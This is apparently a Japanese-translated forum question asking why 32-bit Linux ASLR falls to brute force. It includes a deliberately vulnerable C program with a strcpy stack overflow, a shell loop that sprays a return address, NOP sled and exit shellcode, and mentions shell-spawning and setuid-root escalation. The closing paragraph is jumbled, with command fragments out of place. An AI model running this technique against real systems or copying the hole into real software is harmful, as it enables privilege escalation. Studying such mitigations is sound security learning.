Address Space Layout Randomization について読んだばかりで、非常に単純なスクリプトを試してブルート フォースを試みました。これは、いくつかのことをテストするために使用したプログラムです。
#include <stdio.h>
#include <string.h>
int main (int argc, char **argv)
{
char buf[8];
printf("&buf = %p\n", buf);
if (argc > 1 && strcpy(buf, argv[1]));
return 0;
}
このコマンドでコンパイルしました:
gcc -g -fno-stack-protector -o vul vul.c
ASLR が有効になっていることを確認しました。
$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
次に、この簡単なスクリプトを思いつきました。
str=`perl -e 'print "\x40\xfa\xbb\xbf"x10 \
. "\x90"x65536 \
. "\x31\xc0\x40\x89\xc3\xcd\x80"'`
while [ $? -ne 1 ]; do
./vul $str
done
フォーマットは
return address many times | 64KB NOP slide | shellcode that runs exit(1)
このスクリプトを数秒間実行すると、希望どおりにエラー コード 1 で終了します。execv("/bin/sh", ...) を呼び出す他のシェルコードも試しましたが、同様に成功しました。
リターン アドレスの後でさえ、これほど長い NOP スライドを作成できるのは奇妙に思います。ASLR の方が効果的だと思っていましたが、何か見逃していましたか? アドレス空間が小さすぎるからですか?
編集:私はいくつかの追加の調査を行いましたが、ここに私が見つけたものがあります:
私は友人に
-m32 -z execstack
、彼の 64b コンピューターでこのコードを実行するように依頼しました。リターン アドレスを少し変更した後、彼は同じ結果を得ました。を使用しませんでしたが
-z execstack
、シェルコードを実行できました。さまざまなシェルコードを使用して、すべてが本来の機能を実行することでそれを確認しました(よく知られているシナリオchown root ./vul
でさえ、実行され、最終的に生成されたシェルで「ルート」を返すシェルコード)chmod +s ./vul
。実行可能なスタック フラグ ビットが設定されていないことがわかったので、これは非常に奇妙です。誰かが理由を知っていますか?setreuid(0, 0)
execv("/bin/sh", ...)
whoami
execstack -q ./vul